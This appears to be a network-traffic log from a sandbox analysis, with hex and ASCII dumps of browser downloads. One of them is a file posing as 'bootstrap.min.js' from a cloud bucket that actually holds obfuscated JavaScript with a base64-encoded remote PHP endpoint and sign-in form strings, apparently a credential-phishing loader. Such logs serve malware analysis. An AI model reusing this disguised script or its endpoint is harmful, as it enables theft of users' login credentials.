3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 Data Ascii: eType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':retu
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b Data Ascii: =2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e Data Ascii: p-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d Data Ascii: height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 Data Ascii: ('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:th
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 Data Ascii: ions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e Data Ascii: ==t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'en
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 Data Ascii: ==e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t
2024-12-24 10:55:16 UTC	1369	IN	Data Raw: 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 Data Ascii: &e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Ob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49712	170.106.97.198	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:17 UTC	632	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 5889631857-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:18 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553312 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 24 Dec 2024 10:55:18 GMT ETag: "d66f1776b6aa9ef7a879022f4f2da217" Last-Modified: Tue, 17 Dec 2024 10:29:56 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 15371234411227890384 x-cos-request-id: Njc2YTkzMTVfOTJmMDVlMGJfODM5MF8yYmJiMGE3
2024-12-24 10:55:18 UTC	7778	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 74 63 6d 31 76 62 6d 56 35 4c 6d 46 77 63 47 4e 76 64 58 4a 30 63 32 56 79 64 6d 6c 6a 5a 58 4d 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 75 73 2c 5c Data Ascii: var file = "aHR0cHM6Ly9tcm1vbmV5LmFwcGNvdXJ0c2VydmljZXMuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 27 2c 27 78 2d 77 69 64 74 68 3a Data Ascii: 'h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle','x-width:
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 74 65 27 2c 27 68 57 4e Data Ascii: der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20te','hWN
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f 72 64 27 2c Data Ascii: 'PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bord',
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 Data Ascii: #','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','ottom:\x2
2024-12-24 10:55:18 UTC	16368	IN	Data Raw: 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d 73 68 61 27 2c 27 23 65 Data Ascii: dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-sha','#e
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e 36 36 36 27 2c 27 5c 78 Data Ascii: ,'8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.666','\x
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c 6f 72 3a 27 2c 27 6c Data Ascii: ,'fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-color:','l
2024-12-24 10:55:18 UTC	8184	IN	Data Raw: 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c 78 32 30 61 75 27 2c 27 76 62 61 Data Ascii: t-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\x20au','vba
